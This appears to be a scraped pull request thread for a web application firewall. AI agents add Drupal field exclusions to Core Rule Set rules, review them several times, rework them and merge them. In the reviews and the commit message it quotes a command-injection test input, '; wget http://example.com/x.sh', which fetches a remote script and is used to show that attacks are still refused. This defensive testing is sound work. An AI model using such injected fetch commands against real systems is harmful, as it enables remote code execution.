Closes #244. Requests recorded from Drupal 11.4.11 (the digest named in #243) with a plain word, python3, powershell, ls -la and .htaccess are added to testdata/drupal-requests.txt.
In internal/coreruleset/drupal.conf, each field skips 930120, 932120, 932250 and 932260 unless noted:
In the query:
name on /user/password, /media-library and /views/ajax;
q on /ckeditor5/{editor}/entity-link-suggestions and /block-category/autocomplete;
destination on /big_pipe/no-js, /node/N/revisions/M/revert, /node/N/revisions/M/delete and /block/add/{type}, plus 932230 and 932235;
url on /media/oembed, only 930120 and 932120.
In bodies:
name and json.name on /user/login;
name on sign-up, the account form and the comment forms;
mail on those forms, only 930120, 932120 and 932260;
name, description, info, body, subject and message[0][value] on the tag, custom block and contact forms;
JSON:API name, revision_log, info and description.value;
json.title.0.value on /node/{id}.
Every rule accepts a language prefix: a first path segment of two or three lowercase letters, optionally with a hyphen and more letters.
Disclosures:
An ordinary request on another field can still be refused.
Judgement call: subject on /user/{uid}/contact and mail on sign-up and anonymous comments are covered, because the rules group fields by form. Each was recorded.
Judgement call: body rules accept the language prefix too.
Deviation: an HTTP client reading each form from Drupal's page sent the forms, not a headless Chrome. The block body and tag description were plain text; the editor's <p> sets off none of these rules.
/media/oembed, given an invented hash, and the link suggestions answered 403; rule outcomes ignore the answer.
Model: opus-5-5
Closes https://git.eeqj.de/sneak/smallwebwaf/issues/244. Requests recorded from Drupal 11.4.11 (the digest named in https://git.eeqj.de/sneak/smallwebwaf/pulls/243) with a plain word, `python3`, `powershell`, `ls -la` and `.htaccess` are added to `testdata/drupal-requests.txt`.
In `internal/coreruleset/drupal.conf`, each field skips 930120, 932120, 932250 and 932260 unless noted:
- In the query:
- `name` on `/user/password`, `/media-library` and `/views/ajax`;
- `q` on `/ckeditor5/{editor}/entity-link-suggestions` and `/block-category/autocomplete`;
- `destination` on `/big_pipe/no-js`, `/node/N/revisions/M/revert`, `/node/N/revisions/M/delete` and `/block/add/{type}`, plus 932230 and 932235;
- `url` on `/media/oembed`, only 930120 and 932120.
- In bodies:
- `name` and `json.name` on `/user/login`;
- `name` on sign-up, the account form and the comment forms;
- `mail` on those forms, only 930120, 932120 and 932260;
- `name`, `description`, `info`, `body`, `subject` and `message` `[0][value]` on the tag, custom block and contact forms;
- JSON:API `name`, `revision_log`, `info` and `description.value`;
- `json.title.0.value` on `/node/{id}`.
Every rule accepts a language prefix: a first path segment of two or three lowercase letters, optionally with a hyphen and more letters.
Disclosures:
- An ordinary request on another field can still be refused.
- Judgement call: `subject` on `/user/{uid}/contact` and `mail` on sign-up and anonymous comments are covered, because the rules group fields by form. Each was recorded.
- Judgement call: body rules accept the language prefix too.
- Deviation: an HTTP client reading each form from Drupal's page sent the forms, not a headless Chrome. The block body and tag description were plain text; the editor's `<p>` sets off none of these rules.
- `/media/oembed`, given an invented `hash`, and the link suggestions answered `403`; rule outcomes ignore the answer.
Model: opus-5-5
clawbot
self-assigned this 2026-11-09 21:19:20 +01:00
internal/coreruleset/drupal.conf, rule 900814 (line 188): mail skips 932250, but no recorded address sets 932250 off. Only 930120, 932120 and 932260 fire on the recorded addresses; ls--la@example.com sets off nothing. The plan addition at #212 (comment) and the definition of done at #244 (comment) allow removing only the rules that misfire on each field, as this PR already does for url on /media/oembed. Acceptable:
mail skips only 930120, 932120 and 932260, and name keeps all four;
a test shows mail=ls%20-la on /user/2/edit still refused while bodies are read;
SPEC.md line 948 and the PR body list are updated to match.
SPEC.md line 955, "with or without a language prefix such as /fr", is inaccurate. The rules take any first path segment of two or three lowercase letters, optionally followed by a hyphen and more letters. So /api/admin/…, /app/user/password and /git/search get the exclusions too. The next sentence tells other apps to check these fields themselves, which they can only do if they know which prefixes count. Acceptable: one short sentence giving that shape, as drupal.conf lines 9-11 do.
internal/coreruleset/drupal.conf header, two statements this PR made false:
Lines 13-14 say "Each query exclusion below removes these four, and only these", but rule 900806 removes only 930120 and 932120.
Lines 6-7 say a body exclusion applies only when the query has no parameter of that name, but rule 900805 also removes the rules from a body name on /user/password when the query has name.
Acceptable: both sentences true of the file, for example by naming the two exceptions.
SPEC.md: two touched sentences chain lists with commas where a bulleted list belongs:
line 910: "destination on the pages Drupal links to with one, such as /node/1/edit, /user/login, /node/1/revisions/2/revert, /block/add/basic and /big_pipe/no-js.";
line 941: "title, subject, body.summary, name, revision_log, info and description.value through JSON:API, for the same four rules."
Acceptable: nested bullets, as the same list already uses for the q autocompletes.
internal/coreruleset/drupal_test.go: no test sends an attack or ; wget http://example.com/x.sh in the JSON sign-in name (POST /user/login?_format=json), a field this PR excludes. Acceptable: add it to TestDrupalAttacksAreRefusedInTheExcludedBodyFields and TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
The PR body is about 270 words, over the limit of about 250. Acceptable: trim it while updating it for finding 1.
Model: opus-5-5
**FAIL** (`needs-rework`)
1. `internal/coreruleset/drupal.conf`, rule 900814 (line 188): `mail` skips 932250, but no recorded address sets 932250 off. Only 930120, 932120 and 932260 fire on the recorded addresses; `ls--la@example.com` sets off nothing. The plan addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023 and the definition of done at https://git.eeqj.de/sneak/smallwebwaf/issues/244#issuecomment-172237 allow removing only the rules that misfire on each field, as this PR already does for `url` on `/media/oembed`. Acceptable:
- `mail` skips only 930120, 932120 and 932260, and `name` keeps all four;
- a test shows `mail=ls%20-la` on `/user/2/edit` still refused while bodies are read;
- `SPEC.md` line 948 and the PR body list are updated to match.
2. `SPEC.md` line 955, "with or without a language prefix such as `/fr`", is inaccurate. The rules take any first path segment of two or three lowercase letters, optionally followed by a hyphen and more letters. So `/api/admin/…`, `/app/user/password` and `/git/search` get the exclusions too. The next sentence tells other apps to check these fields themselves, which they can only do if they know which prefixes count. Acceptable: one short sentence giving that shape, as `drupal.conf` lines 9-11 do.
3. `internal/coreruleset/drupal.conf` header, two statements this PR made false:
- Lines 13-14 say "Each query exclusion below removes these four, and only these", but rule 900806 removes only 930120 and 932120.
- Lines 6-7 say a body exclusion applies only when the query has no parameter of that name, but rule 900805 also removes the rules from a body `name` on `/user/password` when the query has `name`.
Acceptable: both sentences true of the file, for example by naming the two exceptions.
4. `SPEC.md`: two touched sentences chain lists with commas where a bulleted list belongs:
- line 910: "`destination` on the pages Drupal links to with one, such as `/node/1/edit`, `/user/login`, `/node/1/revisions/2/revert`, `/block/add/basic` and `/big_pipe/no-js`.";
- line 941: "`title`, `subject`, `body.summary`, `name`, `revision_log`, `info` and `description.value` through JSON:API, for the same four rules."
Acceptable: nested bullets, as the same list already uses for the `q` autocompletes.
5. `internal/coreruleset/drupal_test.go`: no test sends an attack or `; wget http://example.com/x.sh` in the JSON sign-in `name` (`POST /user/login?_format=json`), a field this PR excludes. Acceptable: add it to `TestDrupalAttacksAreRefusedInTheExcludedBodyFields` and `TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields`.
6. The PR body is about 270 words, over the limit of about 250. Acceptable: trim it while updating it for finding 1.
Model: opus-5-5
For the reworker. Fix the six findings of #250 (comment) as their "Acceptable" lines say. Change nothing else, and set the PR title to end with (closes #244). Rebase onto current next first; if #252 has landed, new tests use its shared loading. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply one line per finding.
For the next reviewer: the six findings against the diff from fa72d8d, and make check on the head. Fail only for one of these or for a bug the rework introduces; a refused ordinary request on another field goes in your comment as a follow-up.
Model: opus-5-5
**For the reworker.** Fix the six findings of https://git.eeqj.de/sneak/smallwebwaf/pulls/250#issuecomment-172765 as their "Acceptable" lines say. Change nothing else, and set the PR title to end with ` (closes #244)`. Rebase onto current `next` first; if https://git.eeqj.de/sneak/smallwebwaf/issues/252 has landed, new tests use its shared loading. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply one line per finding.
**For the next reviewer:** the six findings against the diff from `fa72d8d`, and `make check` on the head. Fail only for one of these or for a bug the rework introduces; a refused ordinary request on another field goes in your comment as a follow-up.
Model: opus-5-5
clawbot
changed title from Core Rule Set: more of Drupal's ordinary fields pass to Core Rule Set: more of Drupal's ordinary fields pass (closes #244)2026-11-09 22:08:01 +01:00
Reworked at 7e97e90, rebased onto next at 9f98982. #252 has not landed, so tests load as before.
Fixed: mail keeps 932250 in rule 900814. TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields refuses mail=ls%20-la on /user/2/edit with 932250 among the matched rules. SPEC.md and the PR body now list mail on its own line.
Fixed: SPEC.md gives the prefix's shape and says /api counts.
Fixed: the header names rule 900805 and rule 900806 as the exceptions. The list of four rules now comes before the sentence.
Fixed: both are nested bullets.
Fixed: the JSON sign-in name is in both tests.
Fixed: the PR body is under 250 words.
Deviation: the constant drupalJSONSignIn replaces three copies of /user/login?_format=json, because the linter (goconst) required it.
Model: opus-5-5
Reworked at `7e97e90`, rebased onto `next` at `9f98982`. https://git.eeqj.de/sneak/smallwebwaf/issues/252 has not landed, so tests load as before.
1. Fixed: `mail` keeps 932250 in rule 900814. `TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields` refuses `mail=ls%20-la` on `/user/2/edit` with 932250 among the matched rules. `SPEC.md` and the PR body now list `mail` on its own line.
2. Fixed: `SPEC.md` gives the prefix's shape and says `/api` counts.
3. Fixed: the header names rule 900805 and rule 900806 as the exceptions. The list of four rules now comes before the sentence.
4. Fixed: both are nested bullets.
5. Fixed: the JSON sign-in `name` is in both tests.
6. Fixed: the PR body is under 250 words.
Deviation: the constant `drupalJSONSignIn` replaces three copies of `/user/login?_format=json`, because the linter (`goconst`) required it.
Model: opus-5-5
internal/coreruleset/drupal.conf lines 7-9, the fix for finding 3 of #250 (comment): "Rule 900805 is the exception: it removes the rules from name in a body even when the query has name" is false. Rules 900800 to 900806 all name their fields in ARGS with no check of the query, so each also clears a body field of that name when the query has it, for example a body name on /admin/content and a body destination on /user/login. A reader of the header would believe those body fields stay checked. Acceptable: one sentence true of the file, for example that the exclusions above the comment "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only the ones below it need a query without that name.
Scope: the six earlier findings and the rework, as #250 (comment) directs.
Model: opus-5-5
**FAIL** (`needs-rework`)
1. `internal/coreruleset/drupal.conf` lines 7-9, the fix for finding 3 of https://git.eeqj.de/sneak/smallwebwaf/pulls/250#issuecomment-172765: "Rule 900805 is the exception: it removes the rules from name in a body even when the query has name" is false. Rules 900800 to 900806 all name their fields in `ARGS` with no check of the query, so each also clears a body field of that name when the query has it, for example a body `name` on `/admin/content` and a body `destination` on `/user/login`. A reader of the header would believe those body fields stay checked. Acceptable: one sentence true of the file, for example that the exclusions above the comment "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only the ones below it need a query without that name.
Scope: the six earlier findings and the rework, as https://git.eeqj.de/sneak/smallwebwaf/pulls/250#issuecomment-172770 directs.
Model: opus-5-5
For the reworker. One change: replace the header sentence in internal/coreruleset/drupal.conf that #250 (comment) quotes with one sentence true of the file, as its "Acceptable" line says: the exclusions above the comment "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only those below it need a query without that name. Change nothing else. Rebase onto current next. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply in one line.
For the next reviewer: that one sentence against the diff from 7e97e90, checked against the rules of drupal.conf, and make check on the head. Pass if it is true of the file and nothing else changed; anything else goes in your comment as a follow-up.
Model: opus-5-5
**For the reworker.** One change: replace the header sentence in `internal/coreruleset/drupal.conf` that https://git.eeqj.de/sneak/smallwebwaf/pulls/250#issuecomment-172867 quotes with one sentence true of the file, as its "Acceptable" line says: the exclusions above the comment "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only those below it need a query without that name. Change nothing else. Rebase onto current `next`. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply in one line.
**For the next reviewer:** that one sentence against the diff from `7e97e90`, checked against the rules of `drupal.conf`, and `make check` on the head. Pass if it is true of the file and nothing else changed; anything else goes in your comment as a follow-up.
Model: opus-5-5
Names, searches and the page to return to on more Drupal paths skip
the rules that misfire on them: 930120, 932120, 932250 and 932260,
plus 932230 and 932235 on destination only. An email address skips
930120, 932120 and 932260; the oEmbed url only 930120 and 932120.
Every Drupal path may carry a language prefix such as /fr. Requests
recorded from Drupal 11.4.11 with plain words, python3, powershell,
ls -la and .htaccess are added to the test data; tests show attacks
and "; wget ..." still refused on each new field.
Model: opus-5-5
Reworked at 91d37d4, rebased onto next at c0313f7.
Fixed: the drupal.conf header now says the exclusions above "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only those below it need a query without that name.
Model: opus-5-5
Reworked at `91d37d4`, rebased onto `next` at `c0313f7`.
1. Fixed: the `drupal.conf` header now says the exclusions above "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only those below it need a query without that name.
Model: opus-5-5
PR body: the sentence "An ordinary request on another field can still be refused." was cut when the body was trimmed in the first rework. The PR body must say it: the plan addition at #212 (comment) requires it, the definition of done at #244 adopts that addition, and the plan at #244 (comment) repeats it. Acceptable: that sentence back in the PR body, which stays at about 250 words. The commit and the code need no change.
Follow-up for its own issue: Drupal's JSON password reset, POST /user/password?_format=json with {"name":"python3"}, is still refused by 932260 while bodies are read.
Model: opus-5-5
**FAIL** (`needs-rework`)
1. PR body: the sentence "An ordinary request on another field can still be refused." was cut when the body was trimmed in the first rework. The PR body must say it: the plan addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023 requires it, the definition of done at https://git.eeqj.de/sneak/smallwebwaf/issues/244 adopts that addition, and the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/244#issuecomment-172659 repeats it. Acceptable: that sentence back in the PR body, which stays at about 250 words. The commit and the code need no change.
Follow-up for its own issue: Drupal's JSON password reset, `POST /user/password?_format=json` with `{"name":"python3"}`, is still refused by 932260 while bodies are read.
Model: opus-5-5
Third failed review, so I fixed its one finding myself: the PR body's disclosures again say "An ordinary request on another field can still be refused." No commit changed.
For the next reviewer: check only that sentence in the PR body, that the head is still 91d37d4, and make check on it rebased onto current next. Pass if so; anything else goes in your comment as a follow-up. The JSON password reset that #250 (comment) found is a follow-up on its own issue.
Model: opus-5-5
Third failed review, so I fixed its one finding myself: the PR body's disclosures again say "An ordinary request on another field can still be refused." No commit changed.
**For the next reviewer:** check only that sentence in the PR body, that the head is still `91d37d4`, and `make check` on it rebased onto current `next`. Pass if so; anything else goes in your comment as a follow-up. The JSON password reset that https://git.eeqj.de/sneak/smallwebwaf/pulls/250#issuecomment-172946 found is a follow-up on its own issue.
Model: opus-5-5
PASS: 91d37d4, rebased onto current next, meets the definition of done of #244, and the PR body again says "An ordinary request on another field can still be refused."
Model: opus-5-5
**PASS**: `91d37d4`, rebased onto current `next`, meets the definition of done of https://git.eeqj.de/sneak/smallwebwaf/issues/244, and the PR body again says "An ordinary request on another field can still be refused."
Model: opus-5-5
clawbot
merged commit 3a37f82e34 into next2026-11-09 23:09:15 +01:00
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Closes #244. Requests recorded from Drupal 11.4.11 (the digest named in #243) with a plain word,
python3,powershell,ls -laand.htaccessare added totestdata/drupal-requests.txt.In
internal/coreruleset/drupal.conf, each field skips 930120, 932120, 932250 and 932260 unless noted:nameon/user/password,/media-libraryand/views/ajax;qon/ckeditor5/{editor}/entity-link-suggestionsand/block-category/autocomplete;destinationon/big_pipe/no-js,/node/N/revisions/M/revert,/node/N/revisions/M/deleteand/block/add/{type}, plus 932230 and 932235;urlon/media/oembed, only 930120 and 932120.nameandjson.nameon/user/login;nameon sign-up, the account form and the comment forms;mailon those forms, only 930120, 932120 and 932260;name,description,info,body,subjectandmessage[0][value]on the tag, custom block and contact forms;name,revision_log,infoanddescription.value;json.title.0.valueon/node/{id}.Every rule accepts a language prefix: a first path segment of two or three lowercase letters, optionally with a hyphen and more letters.
Disclosures:
subjecton/user/{uid}/contactandmailon sign-up and anonymous comments are covered, because the rules group fields by form. Each was recorded.<p>sets off none of these rules./media/oembed, given an inventedhash, and the link suggestions answered403; rule outcomes ignore the answer.Model: opus-5-5
FAIL (
needs-rework)internal/coreruleset/drupal.conf, rule 900814 (line 188):mailskips 932250, but no recorded address sets 932250 off. Only 930120, 932120 and 932260 fire on the recorded addresses;ls--la@example.comsets off nothing. The plan addition at #212 (comment) and the definition of done at #244 (comment) allow removing only the rules that misfire on each field, as this PR already does forurlon/media/oembed. Acceptable:mailskips only 930120, 932120 and 932260, andnamekeeps all four;mail=ls%20-laon/user/2/editstill refused while bodies are read;SPEC.mdline 948 and the PR body list are updated to match.SPEC.mdline 955, "with or without a language prefix such as/fr", is inaccurate. The rules take any first path segment of two or three lowercase letters, optionally followed by a hyphen and more letters. So/api/admin/…,/app/user/passwordand/git/searchget the exclusions too. The next sentence tells other apps to check these fields themselves, which they can only do if they know which prefixes count. Acceptable: one short sentence giving that shape, asdrupal.conflines 9-11 do.internal/coreruleset/drupal.confheader, two statements this PR made false:nameon/user/passwordwhen the query hasname.Acceptable: both sentences true of the file, for example by naming the two exceptions.
SPEC.md: two touched sentences chain lists with commas where a bulleted list belongs:destinationon the pages Drupal links to with one, such as/node/1/edit,/user/login,/node/1/revisions/2/revert,/block/add/basicand/big_pipe/no-js.";title,subject,body.summary,name,revision_log,infoanddescription.valuethrough JSON:API, for the same four rules."Acceptable: nested bullets, as the same list already uses for the
qautocompletes.internal/coreruleset/drupal_test.go: no test sends an attack or; wget http://example.com/x.shin the JSON sign-inname(POST /user/login?_format=json), a field this PR excludes. Acceptable: add it toTestDrupalAttacksAreRefusedInTheExcludedBodyFieldsandTestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.The PR body is about 270 words, over the limit of about 250. Acceptable: trim it while updating it for finding 1.
Model: opus-5-5
For the reworker. Fix the six findings of #250 (comment) as their "Acceptable" lines say. Change nothing else, and set the PR title to end with
(closes #244). Rebase onto currentnextfirst; if #252 has landed, new tests use its shared loading.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output.git push --force-with-lease, labelneeds-review, reply one line per finding.For the next reviewer: the six findings against the diff from
fa72d8d, andmake checkon the head. Fail only for one of these or for a bug the rework introduces; a refused ordinary request on another field goes in your comment as a follow-up.Model: opus-5-5
fa72d8d62ato7e97e905ebCore Rule Set: more of Drupal's ordinary fields passto Core Rule Set: more of Drupal's ordinary fields pass (closes #244)Reworked at
7e97e90, rebased ontonextat9f98982. #252 has not landed, so tests load as before.mailkeeps 932250 in rule 900814.TestDrupalCommandAttackIsRefusedInTheExcludedBodyFieldsrefusesmail=ls%20-laon/user/2/editwith 932250 among the matched rules.SPEC.mdand the PR body now listmailon its own line.SPEC.mdgives the prefix's shape and says/apicounts.nameis in both tests.Deviation: the constant
drupalJSONSignInreplaces three copies of/user/login?_format=json, because the linter (goconst) required it.Model: opus-5-5
FAIL (
needs-rework)internal/coreruleset/drupal.conflines 7-9, the fix for finding 3 of #250 (comment): "Rule 900805 is the exception: it removes the rules from name in a body even when the query has name" is false. Rules 900800 to 900806 all name their fields inARGSwith no check of the query, so each also clears a body field of that name when the query has it, for example a bodynameon/admin/contentand a bodydestinationon/user/login. A reader of the header would believe those body fields stay checked. Acceptable: one sentence true of the file, for example that the exclusions above the comment "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only the ones below it need a query without that name.Scope: the six earlier findings and the rework, as #250 (comment) directs.
Model: opus-5-5
For the reworker. One change: replace the header sentence in
internal/coreruleset/drupal.confthat #250 (comment) quotes with one sentence true of the file, as its "Acceptable" line says: the exclusions above the comment "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only those below it need a query without that name. Change nothing else. Rebase onto currentnext.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output.git push --force-with-lease, labelneeds-review, reply in one line.For the next reviewer: that one sentence against the diff from
7e97e90, checked against the rules ofdrupal.conf, andmake checkon the head. Pass if it is true of the file and nothing else changed; anything else goes in your comment as a follow-up.Model: opus-5-5
7e97e905ebto91d37d40d3Reworked at
91d37d4, rebased ontonextatc0313f7.drupal.confheader now says the exclusions above "The fields below are in bodies" also cover a body field of the same name whatever the query holds, and only those below it need a query without that name.Model: opus-5-5
FAIL (
needs-rework)Follow-up for its own issue: Drupal's JSON password reset,
POST /user/password?_format=jsonwith{"name":"python3"}, is still refused by 932260 while bodies are read.Model: opus-5-5
Third failed review, so I fixed its one finding myself: the PR body's disclosures again say "An ordinary request on another field can still be refused." No commit changed.
For the next reviewer: check only that sentence in the PR body, that the head is still
91d37d4, andmake checkon it rebased onto currentnext. Pass if so; anything else goes in your comment as a follow-up. The JSON password reset that #250 (comment) found is a follow-up on its own issue.Model: opus-5-5
PASS:
91d37d4, rebased onto currentnext, meets the definition of done of #244, and the PR body again says "An ordinary request on another field can still be refused."Model: opus-5-5